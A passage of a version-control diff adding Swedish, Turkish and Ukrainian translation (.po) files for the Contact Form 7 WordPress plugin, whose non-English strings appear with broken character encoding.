+msgid "Delete"
+msgstr "Radera"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Ãr du sÃ€ker pÃ¥ att du vill radera detta kontaktformulÃ€r? \n"
+" Klicka 'Avbryt' fÃ¶r att avbryta, 'OK' fÃ¶r att radera."
+
+#: contact-form-7/includes/admin-panel.php:75
+msgid "Form"
+msgstr "FormulÃ€r"
+
+#: contact-form-7/includes/admin-panel.php:95
+msgid "Mail"
+msgstr "Mottagarmail"
+
+#: contact-form-7/includes/admin-panel.php:102
+#: contact-form-7/includes/admin-panel.php:154
+msgid "To:"
+msgstr "Till:"
+
+#: contact-form-7/includes/admin-panel.php:106
+#: contact-form-7/includes/admin-panel.php:158
+msgid "From:"
+msgstr "FrÃ¥n:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "Subject:"
+msgstr "Ãmne:"
+
+#: contact-form-7/includes/admin-panel.php:115
+#: contact-form-7/includes/admin-panel.php:167
+msgid "File attachments:"
+msgstr "Bilagor:"
+
+#: contact-form-7/includes/admin-panel.php:117
+#: contact-form-7/includes/admin-panel.php:169
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Du mÃ¥ste kÃ¶ra WordPress 2.7 eller senare fÃ¶r att kunna anvÃ€nda denna funktion)"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Use HTML content type"
+msgstr "AnvÃ€nd HTML som innehÃ¥llstyp"
+
+#: contact-form-7/includes/admin-panel.php:130
+#: contact-form-7/includes/admin-panel.php:182
+msgid "Message body:"
+msgstr "MeddelandefÃ€lt:"
+
+#: contact-form-7/includes/admin-panel.php:141
+msgid "Mail (2)"
+msgstr "SekundÃ€rt mail"
+
+#: contact-form-7/includes/admin-panel.php:148
+msgid "Use mail (2)"
+msgstr "AnvÃ€nd ett sekundÃ€rt mottagarmail"
+
+#: contact-form-7/includes/admin-panel.php:193
+msgid "Messages"
+msgstr "Meddelanden"
+
+#: contact-form-7/includes/admin-panel.php:201
+msgid "Sender's message was sent successfully"
+msgstr "Om besÃ¶karens meddelade skickades"
+
+#: contact-form-7/includes/admin-panel.php:205
+msgid "Sender's message was failed to send"
+msgstr "Om besÃ¶karens meddelande inte kunde skickas"
+
+#: contact-form-7/includes/admin-panel.php:209
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Om Akismet bedÃ¶mer sÃ€ndningen som spamaktivitet"
+
+#: contact-form-7/includes/admin-panel.php:213
+msgid "Validation errors occurred"
+msgstr "Om valideringsfel uppstÃ¥r"
+
+#: contact-form-7/includes/admin-panel.php:217
+msgid "There is a field that sender is needed to fill in"
+msgstr "Om det finns obligatoriska fÃ€lt att fylla i"
+
+#: contact-form-7/includes/admin-panel.php:221
+msgid "Email address that sender entered is invalid"
+msgstr "Om e-postadressen angiven av besÃ¶akren Ã€r felaktig"
+
+#: contact-form-7/includes/admin-panel.php:225
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Om det finns ett fÃ€lt fÃ¶r villkor som besÃ¶karen mÃ¥ste godkÃ€nna"
+
+#: contact-form-7/includes/admin-panel.php:229
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "Om anvÃ€ndaren anger ett felaktigt svar fÃ¶r antispam-frÃ¥gan"
+
+#: contact-form-7/includes/admin-panel.php:233
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Om verifieringskoden besÃ¶karen anger inte matchar CAPTCHA-koden"
+
+#: contact-form-7/includes/admin-panel.php:237
+msgid "Uploading a file fails for any reason"
+msgstr "Om filuppladdningen misslyckas av nÃ¥gon anledning"
+
+#: contact-form-7/includes/admin-panel.php:241
+msgid "Uploaded file is not allowed file type"
+msgstr "Om den uppladdade filen Ã€r av en ej tillÃ¥ten filtyp"
+
+#: contact-form-7/includes/admin-panel.php:245
+msgid "Uploaded file is too large"
+msgstr "Om den uppladdade filen Ã€r fÃ¶r stor"
+
+#~ msgid "Delete this contact form"
+#~ msgstr "Radera detta kontaktformulÃ€r"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-tr_TR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-tr_TR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-tr_TR.po	(revision 44)
@@ -0,0 +1,305 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-08-10 18:56+0900\n"
+"PO-Revision-Date: 2008-09-02 22:28+0200\n"
+"Last-Translator: Hasan YÄ±lmaz <iletisim@hasanyilmaz.net>\n"
+"Language-Team: Hedef TÃŒrkÃ§e <iletisim@hedeftÃŒrkce.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Turkish\n"
+"X-Poedit-Country: TURKEY\n"
+
+#: contact-form-7/wp-contact-form-7.php:309
+msgid "Contact form"
+msgstr "Ä°letiÅim formu"
+
+#: contact-form-7/wp-contact-form-7.php:403
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Ä°letiÅim Formu 7"
+
+#: contact-form-7/wp-contact-form-7.php:419
+msgid "optional"
+msgstr "seÃ§imli"
+
+#: contact-form-7/wp-contact-form-7.php:420
+msgid "Generate Tag"
+msgstr "Etiket OluÅtur"
+
+#: contact-form-7/wp-contact-form-7.php:421
+msgid "Text field"
+msgstr "Metin alanÄ±"
+
+#: contact-form-7/wp-contact-form-7.php:422
+msgid "Email field"
+msgstr "E-posta alanÄ±"
+
+#: contact-form-7/wp-contact-form-7.php:423
+msgid "Text area"
+msgstr "Metin alanÄ±"
+
+#: contact-form-7/wp-contact-form-7.php:424
+msgid "Drop-down menu"
+msgstr "AÃ§Ä±lÄ±r menÃŒ"
+
+#: contact-form-7/wp-contact-form-7.php:425
+msgid "Checkboxes"
+msgstr "Onay kutularÄ±"
+
+#: contact-form-7/wp-contact-form-7.php:426
+msgid "Radio buttons"
+msgstr "SeÃ§enek butonlarÄ±"
+
+#: contact-form-7/wp-contact-form-7.php:427
+msgid "Acceptance"
+msgstr "Kabul"
+
+#: contact-form-7/wp-contact-form-7.php:428
+msgid "Make this checkbox checked by default?"
+msgstr "Bu kutu varsayÄ±lan olarak seÃ§ili olsun mu?"
+
+#: contact-form-7/wp-contact-form-7.php:429
+msgid "Make this checkbox work inversely?"
+msgstr "Onay kutusu ters Ã§alÄ±ÅsÄ±n mÄ±?"
+
+#: contact-form-7/wp-contact-form-7.php:430
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* KoÅulu kabul eden ziyaretÃ§i onayÄ± kaldÄ±rÄ±yor anlamÄ±ndadÄ±r."
+
+#: contact-form-7/wp-contact-form-7.php:431
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:432
+msgid "Submit button"
+msgstr "GÃ¶nderim butonu"
+
+#: contact-form-7/wp-contact-form-7.php:433
+msgid "Name"
+msgstr "Ä°sim"
+
+#: contact-form-7/wp-contact-form-7.php:434
+msgid "Required field?"
+msgstr "Gerekli alan?"
+
+#: contact-form-7/wp-contact-form-7.php:435
+msgid "Allow multiple selections?"
+msgstr "Ãoklu seÃ§ime izin verilsin mi?"
+
+#: contact-form-7/wp-contact-form-7.php:436
+msgid "Insert a blank item as the first option?"
+msgstr "Ä°lk seÃ§enek olarak boÅ bir Ã¶Äe eklensin mi?"
+
+#: contact-form-7/wp-contact-form-7.php:437
+msgid "Make checkboxes exclusive?"
+msgstr "Onay kutularÄ± tek satÄ±rlÄ± olsun mu?"
+
+#: contact-form-7/wp-contact-form-7.php:438
+msgid "Choices"
+msgstr "SeÃ§imler"
+
+#: contact-form-7/wp-contact-form-7.php:439
+msgid "Label"
+msgstr "Etiket"
+
+#: contact-form-7/wp-contact-form-7.php:440
+msgid "Default value"
+msgstr "VarsayÄ±lan deÄer"
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:442
+msgid "This field requires author's name"
+msgstr "Bu alanda yazarÄ±n adÄ± olmalÄ±"
+
+#: contact-form-7/wp-contact-form-7.php:443
+msgid "This field requires author's URL"
+msgstr "Bu alanda yazarÄ±n sitesi olmalÄ±"
+
+#: contact-form-7/wp-contact-form-7.php:444
+msgid "This field requires author's email address"
+msgstr "Bu alanda yazarÄ±n e-posta adresi olmalÄ±"
+
+#: contact-form-7/wp-contact-form-7.php:445
+msgid "Copy and paste this code into the form"
+msgstr "Bu kodu kopyalayÄ±p formun iÃ§ine yapÄ±ÅtÄ±rÄ±n"
+
+#: contact-form-7/wp-contact-form-7.php:446
+msgid "Foreground color"
+msgstr "Ãnalan rengi"
+
+#: contact-form-7/wp-contact-form-7.php:447
+msgid "Background color"
+msgstr "Artalan rengi"
+
+#: contact-form-7/wp-contact-form-7.php:448
+msgid "Image size"
+msgstr "GÃ¶rÃŒntÃŒ boyutu"
+
+#: contact-form-7/wp-contact-form-7.php:449
+msgid "Small"
+msgstr "KÃŒÃ§ÃŒk"
+
+#: contact-form-7/wp-contact-form-7.php:450
+msgid "Medium"
+msgstr "Orta"
+
+#: contact-form-7/wp-contact-form-7.php:451
+msgid "Large"
+msgstr "BÃŒyÃŒk"
+
+#: contact-form-7/wp-contact-form-7.php:452
+msgid "Image settings"
+msgstr "GÃ¶rÃŒntÃŒ ayarlarÄ±"
+
+#: contact-form-7/wp-contact-form-7.php:453
+msgid "Input field settings"
+msgstr "Girdi alanÄ± ayarlarÄ±"
+
+#: contact-form-7/wp-contact-form-7.php:454
+msgid "For image"
+msgstr "GÃ¶rÃŒntÃŒ iÃ§in"
+
+#: contact-form-7/wp-contact-form-7.php:455
+msgid "For input field"
+msgstr "Girdi alanÄ± iÃ§in"
+
+#: contact-form-7/wp-contact-form-7.php:456
+msgid "* One choice per line."
+msgstr "* Her satÄ±ra bir seÃ§im."
+
+#: contact-form-7/wp-contact-form-7.php:483
+msgid "Contact form created."
+msgstr "Ä°letiÅim formu oluÅturuldu."
+
+#: contact-form-7/wp-contact-form-7.php:486
+msgid "Contact form saved."
+msgstr "Ä°letiÅim formu kaydedildi."
+
+#: contact-form-7/wp-contact-form-7.php:489
+msgid "Contact form deleted."
+msgstr "Ä°letiÅim formu silindi."
+
+#: contact-form-7/wp-contact-form-7.php:496
+msgid "Untitled"
+msgstr "BaÅlÄ±ksÄ±z"
+
+#: contact-form-7/wp-contact-form-7.php:522
+msgid "Your Name"
+msgstr "Ä°sim"
+
+#: contact-form-7/wp-contact-form-7.php:522
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "(required)"
+msgstr "(gerekli)"
+
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "Your Email"
+msgstr "E-posta"
+
+#: contact-form-7/wp-contact-form-7.php:526
+msgid "Subject"
+msgstr "Konu"
+
+#: contact-form-7/wp-contact-form-7.php:528
+msgid "Your Message"
+msgstr "Ä°leti"
+
+#: contact-form-7/wp-contact-form-7.php:530
+#: contact-form-7/wp-contact-form-7.php:1046
+msgid "Send"
+msgstr "GÃ¶nder"
+
+#: contact-form-7/wp-contact-form-7.php:559
+msgid "Your message was sent successfully. Thanks."
+msgstr "Ä°letiniz baÅarÄ±yla gÃ¶nderildi. TeÅekkÃŒrler."
+
+#: contact-form-7/wp-contact-form-7.php:561
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Ä°letiniz gÃ¶nderilemedi. LÃŒtfen daha sonra tekrar deneyin ya da yÃ¶netici ile farklÄ± bir Åekilde iletiÅime geÃ§in."
+
+#: contact-form-7/wp-contact-form-7.php:563
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "GeÃ§erlilik hatalarÄ± meydana geldi. LÃŒtfen alanlarÄ± doÄrulayÄ±n ve gÃ¶nderimi onaylayÄ±n."
+
+#: contact-form-7/wp-contact-form-7.php:565
+msgid "Please accept the terms to proceed."
+msgstr "Ä°lerlemek iÃ§in lÃŒtfen koÅullarÄ± kabul edin."
+
+#: contact-form-7/wp-contact-form-7.php:567
+msgid "Email address seems invalid."
+msgstr "E-posta adresi geÃ§ersiz gÃ¶rÃŒnÃŒyor."
+
+#: contact-form-7/wp-contact-form-7.php:569
+msgid "Please fill the required field."
+msgstr "LÃŒtfen gerekli alanlarÄ± doldurun."
+
+#: contact-form-7/wp-contact-form-7.php:571
+msgid "Your entered code is incorrect."
+msgstr "GirdiÄiniz kod doÄru deÄil."
+
+#: contact-form-7/includes/admin-panel.php:16
+msgid "Add new"
+msgstr "Yeni ekle"
+
+#: contact-form-7/includes/admin-panel.php:32
+msgid "Copy and paste this code into your post content."
+msgstr "AÅaÄÄ±daki kodu kopyalayÄ±p yazÄ± iÃ§eriÄinize yapÄ±ÅtÄ±rÄ±n."
+
+#: contact-form-7/includes/admin-panel.php:38
+msgid "Form"
+msgstr "Form"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Mail"
+msgstr "Posta"
+
+#: contact-form-7/includes/admin-panel.php:44
+#: contact-form-7/includes/admin-panel.php:65
+msgid "To:"
+msgstr "Kime:"
+
+#: contact-form-7/includes/admin-panel.php:48
+#: contact-form-7/includes/admin-panel.php:69
+msgid "From:"
+msgstr "GÃ¶nderen:"
+
+#: contact-form-7/includes/admin-panel.php:52
+#: contact-form-7/includes/admin-panel.php:73
+msgid "Subject:"
+msgstr "Konu:"
+
+#: contact-form-7/includes/admin-panel.php:56
+#: contact-form-7/includes/admin-panel.php:77
+msgid "Message body:"
+msgstr "Ä°leti gÃ¶vdesi:"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Mail (2)"
+msgstr "Posta (2)"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Use mail (2)"
+msgstr "Posta (2) kullan"
+
+#: contact-form-7/includes/admin-panel.php:85
+msgid "Save"
+msgstr "Kaydet"
+
+#: contact-form-7/includes/admin-panel.php:92
+msgid "Delete this contact form"
+msgstr "Bu iletiÅim formunu sil"
+
+#: contact-form-7/includes/admin-panel.php:93
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Bu iletiÅim formunu silmek ÃŒzeresiniz.\n"
+"  Durdurmak iÃ§in 'Ä°ptal',  silmek iÃ§in 'Tamam'."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-uk_UA.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-uk_UA.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-uk_UA.po	(revision 44)
@@ -0,0 +1,331 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7 Ukrainian translation\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-11-09 18:08+0200\n"
+"PO-Revision-Date: 2008-11-09 19:21+0200\n"
+"Last-Translator: Andrey Kovba <info@myserver.com.ua>\n"
+"Language-Team: Andrey Kovba <info@myserver.com.ua>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Ukrainian\n"
+"X-Poedit-Country: UKRAINE\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: ./\n"
+
+#: /wp-contact-form-7.php:311
+msgid "Contact form"
+msgstr "Ð€ÐŸÑÐŒÐ° ÐŽÐ»Ñ Ð·Ð²'ÑÐ·ÐºÑ"
+
+#: /wp-contact-form-7.php:405
+#: /includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: /wp-contact-form-7.php:434
+msgid "optional"
+msgstr "ÐŽÐŸÐŽÐ°ÑÐºÐŸÐ²ÐŸ"
+
+#: /wp-contact-form-7.php:435
+msgid "Generate Tag"
+msgstr "Ð¡ÑÐ²ÐŸÑÐžÑÐž ÑÐµÐ³"
+
+#: /wp-contact-form-7.php:436
+msgid "Text field"
+msgstr "ÑÐµÐºÑÑÐŸÐ²Ðµ Ð¿ÐŸÐ»Ðµ"
+
+#: /wp-contact-form-7.php:437
+msgid "Email field"
+msgstr "ÐÐŸÐ»Ðµ email"
+
+#: /wp-contact-form-7.php:438
+msgid "Text area"
+msgstr "Text area"
+
+#: /wp-contact-form-7.php:439
+msgid "Drop-down menu"
+msgstr "ÐÐžÐ¿Ð°ÐŽÐ°ÑÑÐµ ÐŒÐµÐœÑ"
+
+#: /wp-contact-form-7.php:440
+msgid "Checkboxes"
+msgstr "Ð§ÐµÐºÐ±ÐŸÐºÑÐž"
+
+#: /wp-contact-form-7.php:441
+msgid "Radio buttons"
+msgstr "Ð Ð°ÐŽÑÐŸ-ÐºÐœÐŸÐ¿ÐºÐž"
+
+#: /wp-contact-form-7.php:442
+msgid "Acceptance"
+msgstr "ÐÐŸÐ³ÐŸÐŽÐ¶ÐµÐœÐœÑ"
+
+#: /wp-contact-form-7.php:443
+msgid "Make this checkbox checked by default?"
+msgstr "ÐÑÐŸÐ±ÐžÑÐž ÑÐµÐ¹ ÑÐµÐºÐ±ÐŸÐºÑ ÐŸÐ±ÑÐ°ÐœÐœÐžÐŒ Ð·Ð° Ð·Ð°ÐŒÐŸÐ²ÑÑÐ²Ð°ÐœÐœÑÐŒ?"
+
+#: /wp-contact-form-7.php:444
+msgid "Make this checkbox work inversely?"
+msgstr "ÐÑÐŸÐ±ÐžÑÐž ÑÐµÐ¹ ÑÐµÐºÐ±ÐŸÐºÑ Ð¿ÑÐ°ÑÑÑÑÐžÐŒ ÐœÐ°Ð²Ð¿Ð°ÐºÐž?"
+
+#: /wp-contact-form-7.php:445
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* ÐŠÐµ ÐŸÐ·ÐœÐ°ÑÐ°Ðµ, ÑÐŸ Ð²ÑÐŽÐ²ÑÐŽÑÐ²Ð°Ñ ÑÐºÐžÐ¹ Ð²ÑÐŽÐŒÑÑÐžÐ² Ð¿ÑÐœÐºÑ, Ð²ÑÐŽÐŒÑÐœÐžÐ² Ð²ÐžÐ±ÑÑ."
+
+#: /wp-contact-form-7.php:446
+msgid "CAPTCHA"
+msgstr "ÐÐ°Ð¿ÑÐ°"
+
+#: /wp-contact-form-7.php:447
+msgid "Submit button"
+msgstr "ÐÐœÐŸÐ¿ÐºÐ° Ð²ÑÐŽÐ¿ÑÐ°Ð²ÐºÐž"
+
+#: /wp-contact-form-7.php:448
+msgid "Name"
+msgstr "ÐÐŒ'Ñ"
+
+#: /wp-contact-form-7.php:449
+msgid "Required field?"
+msgstr "ÐÐ±ÐŸÐ²'ÑÐ·ÐºÐŸÐ²Ðµ Ð¿ÐŸÐ»Ðµ?"
+
+#: /wp-contact-form-7.php:450
+msgid "Allow multiple selections?"
+msgstr "ÐÐŸÐ·Ð²ÐŸÐ»ÑÑÐž ÐŒÐœÐŸÐ¶ÐžÐœÐœÐžÐ¹ Ð²ÐžÐ±ÑÑ?"
+
+#: /wp-contact-form-7.php:451
+msgid "Insert a blank item as the first option?"
+msgstr "ÐÑÑÐ°Ð²Ð»ÑÑÐž Ð¿ÑÑÑÐžÐ¹ Ð¿ÑÐœÐºÑ ÑÐº Ð¿ÐµÑÑÑ ÐŸÐ¿ÑÑÑ?"
+
+#: /wp-contact-form-7.php:452
+msgid "Make checkboxes exclusive?"
+msgstr "ÐÑÐŸÐ±ÐžÑÐž ÑÑ ÑÐµÐºÐ±ÐŸÐºÑÐž ÐµÐºÑÐ»ÑÐ·ÐžÐ²ÐœÐžÐŒÐž?"
+
+#: /wp-contact-form-7.php:453
+msgid "Choices"
+msgstr "ÐÐžÐ±ÑÑ"
+
+#: /wp-contact-form-7.php:454
+msgid "Label"
+msgstr "Ð¯ÑÐ»ÐžÐº"
+
+#: /wp-contact-form-7.php:455
+msgid "Default value"
+msgstr "ÐÐœÐ°ÑÐµÐœÐœÑ Ð·Ð° Ð·Ð°ÐŒÐŸÐ²ÑÑÐ²Ð°ÐœÐœÑÐŒ"
+
+#: /wp-contact-form-7.php:456
+msgid "Akismet"
+msgstr "Akismet"
+
+#: /wp-contact-form-7.php:457
+msgid "This field requires author's name"
+msgstr "ÐŠÐµ Ð¿ÐŸÐ»Ðµ Ð¿ÐŸÑÑÐµÐ±ÑÑ ÐžÐŒ'Ñ Ð°Ð²ÑÐŸÑÐ°"
+
+#: /wp-contact-form-7.php:458
+msgid "This field requires author's URL"
+msgstr "ÐŠÐµ Ð¿ÐŸÐ»Ðµ Ð¿ÐŸÑÑÐµÐ±ÑÑ URL Ð°Ð²ÑÐŸÑÐ°"
+
+#: /wp-contact-form-7.php:459
+msgid "This field requires author's email address"
+msgstr "ÐŠÐµ Ð¿ÐŸÐ»Ðµ Ð¿ÐŸÑÑÐµÐ±ÑÑ email Ð°Ð²ÑÐŸÑÐ°"
+
+#: /wp-contact-form-7.php:460
+msgid "Copy and paste this code into the form"
+msgstr "ÐÐºÐŸÐ¿ÑÑÐ¹ÑÐµ Ñ Ð²ÑÑÐ°Ð²ÑÐµ ÑÐµÐ¹ ÐºÐŸÐŽ Ð² ÐÐ°ÑÑ ÑÑÐŸÑÑÐœÐºÑ"
+
+#: /wp-contact-form-7.php:461
+msgid "Foreground color"
+msgstr "ÐÐŸÐ»ÑÑ Ð¿ÐµÑÐµÐŽÐœÑÐŸÐ³ÐŸ Ð¿Ð»Ð°ÐœÑ"
+
+#: /wp-contact-form-7.php:462
+msgid "Background color"
+msgstr "ÐÐŸÐ»ÑÑ ÑÐŸÐœÑ"
+
+#: /wp-contact-form-7.php:463
+msgid "Image size"
+msgstr "Ð Ð°Ð·ÐŒÑÑ Ð·ÐŸÐ±ÑÐ°Ð¶ÐµÐœÐœÑ"
+
+#: /wp-contact-form-7.php:464
+msgid "Small"
+msgstr "ÐÐ°Ð»ÐµÐœÑÐºÐžÐ¹"
+
+#: /wp-contact-form-7.php:465
+msgid "Medium"
+msgstr "Ð¡ÐµÑÐµÐŽÐœÐžÐ¹"
+
+#: /wp-contact-form-7.php:466
+msgid "Large"
+msgstr "ÐÐµÐ»ÐžÐºÐžÐ¹"
+
+#: /wp-contact-form-7.php:467
+msgid "Image settings"
+msgstr "ÐÐ°Ð»Ð°ÑÑÑÐ²Ð°ÐœÐœÑ Ð·ÐŸÐ±ÑÐ°Ð¶ÐµÐœÐœÑ"
+
+#: /wp-contact-form-7.php:468
+msgid "Input field settings"
+msgstr "ÐÐ°Ð»Ð°ÑÑÑÐ²Ð°ÐœÐœÑ Ð¿ÐŸÐ»ÑÐ² Ð²Ð²ÐŸÐŽÑ"
+
+#: /wp-contact-form-7.php:469
+msgid "For image"
+msgstr "ÐÐ»Ñ Ð·ÐŸÐ±ÑÐ°Ð¶ÐµÐœÐœÑ"
+
+#: /wp-contact-form-7.php:470
+msgid "For input field"
+msgstr "ÐÐ»Ñ Ð¿ÐŸÐ»Ñ Ð²Ð²ÐµÐŽÐµÐœÐœÑ"
+
+#: /wp-contact-form-7.php:471
+msgid "* One choice per line."
+msgstr "* Ð¿ÐŸ ÐŸÐŽÐœÑÐ¹ Ð² ÑÑÐŽÐºÑ."
+
+#: /wp-contact-form-7.php:498
+msgid "Contact form created."
+msgstr "Ð€ÐŸÑÐŒÑ \"%s\" ÑÑÐ²ÐŸÑÐµÐœÐŸ."
+
+#: /wp-contact-form-7.php:501
+msgid "Contact form saved."
+msgstr "Ð€ÐŸÑÐŒÑ \"%s\" Ð·Ð±ÐµÑÐµÐ¶ÐµÐœÐŸ."
+
+#: /wp-contact-form-7.php:504
+msgid "Contact form deleted."
+msgstr "Ð€ÐŸÑÐŒÑ \"%s\" Ð²ÐžÐŽÐ°Ð»ÐµÐœÐŸ."
+
+#: /wp-contact-form-7.php:511
+msgid "Untitled"
+msgstr "ÐÐµÐ· ÐœÐ°Ð·Ð²Ðž"
+
+#: /wp-contact-form-7.php:537
+msgid "Your Name"
+msgstr "ÐÐ°ÑÐµ ÐžÐŒ'Ñ"
+
+#: /wp-contact-form-7.php:537
+#: /wp-contact-form-7.php:539
+msgid "(required)"
+msgstr "(ÐŸÐ±ÐŸÐ²'ÑÐ·ÐºÐŸÐ²ÐŸ)"
+
+#: /wp-contact-form-7.php:539
+msgid "Your Email"
+msgstr "ÐÐ°Ñ email"
+
+#: /wp-contact-form-7.php:541
+msgid "Subject"
+msgstr "Ð¢ÐµÐŒÐ°"
+
+#: /wp-contact-form-7.php:543
+msgid "Your Message"
+msgstr "ÐÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ"
+
+#: /wp-contact-form-7.php:545
+#: /wp-contact-form-7.php:1071
+msgid "Send"
+msgstr "ÐÑÐŽÐ¿ÑÐ°Ð²ÐžÑÐž"
+
+#: /wp-contact-form-7.php:574
+msgid "Your message was sent successfully. Thanks."
+msgstr "ÐÑÐºÑÑÐŒÐŸ! ÐÐ°ÑÐµ Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ Ð²ÑÐŽÐ¿ÑÐ°Ð²Ð»ÐµÐœÐŸ."
+
+#: /wp-contact-form-7.php:576
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "ÐÐŸÐŒÐžÐ»ÐºÐ°! ÐÑÐŽÑ Ð»Ð°ÑÐºÐ° ÑÐ¿ÑÐŸÐ±ÑÐ¹ÑÐµ ÑÐµ ÑÐ°Ð·. Ð¯ÐºÑÐŸ Ð¿ÐŸÐŒÐžÐ»ÐºÐ° Ð·Ð°Ð»ÐžÑÐ°ÑÑÑÑÑ, Ð±ÑÐŽÑ Ð»Ð°ÑÐºÐ°, Ð·Ð²'ÑÐ¶ÑÑÑÑÑ Ð· ÐœÐ°ÐŒÐž ÑÐœÑÑÐŒ ÑÐ»ÑÑ
+ÐŸÐŒ. "
+
+#: /wp-contact-form-7.php:578
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "ÐÐŸÐŒÐžÐ»ÐºÐ° Ð¿ÑÐž Ð·Ð°Ð¿ÐŸÐ²ÐœÐµÐœÐœÑ. ÐÐ²ÐµÑÐœÑÑÑ ÑÐ²Ð°Ð³Ñ ÐœÐ° ÐœÐµÐŸÐ±Ñ
+ÑÐŽÐœÑ Ð¿ÐŸÐ»Ñ Ñ Ð²ÑÐŽÐ¿ÑÐ°Ð²ÑÐµ ÑÐµ ÑÐ°Ð·."
+
+#: /wp-contact-form-7.php:580
+msgid "Please accept the terms to proceed."
+msgstr "ÐÑÐŽÐŒÑÑÑÑÐµ, ÑÐºÑÐŸ ÐœÐµÐŸÐ±Ñ
+ÑÐŽÐœÐŸ."
+
+#: /wp-contact-form-7.php:582
+msgid "Email address seems invalid."
+msgstr "Ðmail Ð°ÐŽÑÐµÑÑ Ð²ÐºÐ°Ð·Ð°ÐœÐŸ ÐœÐµÐ²ÑÑÐœÐŸ."
+
+#: /wp-contact-form-7.php:584
+msgid "Please fill the required field."
+msgstr "ÐÑÐŽÑ Ð»Ð°ÑÐºÐ°, Ð·Ð°Ð¿ÐŸÐ²ÐœÑÑÑ Ð²ÑÑ ÐœÐµÐŸÐ±Ñ
+ÑÐŽÐœÑ Ð¿ÐŸÐ»Ñ."
+
+#: /wp-contact-form-7.php:586
+msgid "Your entered code is incorrect."
+msgstr "ÐÐ²ÐµÐŽÐµÐœÐŸ ÐœÐµÐ²ÑÑÐœÐžÐ¹ ÐºÐŸÐœÑÑÐŸÐ»ÑÐœÐžÐ¹ ÐºÐŸÐŽ."
+
+#: /includes/admin-panel.php:16
+msgid "Add new"
+msgstr "ÐÐŸÐŽÐ°ÑÐž ÐœÐŸÐ²Ñ"
+
+#: /includes/admin-panel.php:32
+msgid "Copy and paste this code into your post content."
+msgstr "ÐÐºÐŸÐ¿ÑÑÐ¹ÑÐµ Ñ Ð²ÑÑÐ°Ð²ÑÐµ ÑÐµÐ¹ ÐºÐŸÐŽ Ð² ÐÐ°ÑÑ ÑÑÐŸÑÑÐœÐºÑ."
+
+#: /includes/admin-panel.php:38
+msgid "Form"
+msgstr "Ð€ÐŸÑÐŒÐ°"
+
+#: /includes/admin-panel.php:42
+msgid "Mail"
+msgstr "ÐÐŸÑÑÐ°"
+
+#: /includes/admin-panel.php:44
+#: /includes/admin-panel.php:65
+msgid "To:"
+msgstr "ÐÐŸÐŒÑ:"
+
+#: /includes/admin-panel.php:48
+#: /includes/admin-panel.php:69
+msgid "From:"
+msgstr "ÐÑÐŽ:"
+
+#: /includes/admin-panel.php:52
+#: /includes/admin-panel.php:73
+msgid "Subject:"
+msgstr "Ð¢ÐµÐŒÐ°:"
+
+#: /includes/admin-panel.php:56
+#: /includes/admin-panel.php:77
+msgid "Message body:"
+msgstr "Ð¢ÐµÐºÑÑ Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ:"
+
+#: /includes/admin-panel.php:61
+msgid "Mail (2)"
+msgstr "ÐÐŸÑÑÐ° (2)"
+
+#: /includes/admin-panel.php:63
+msgid "Use mail (2)"
+msgstr "ÐÑÐŽÐ¿ÑÐ°Ð²Ð»ÑÑÐž ÐœÐ° Ð¿ÐŸÑÑÑ (2)"
+
+#: /includes/admin-panel.php:85
+msgid "Save"
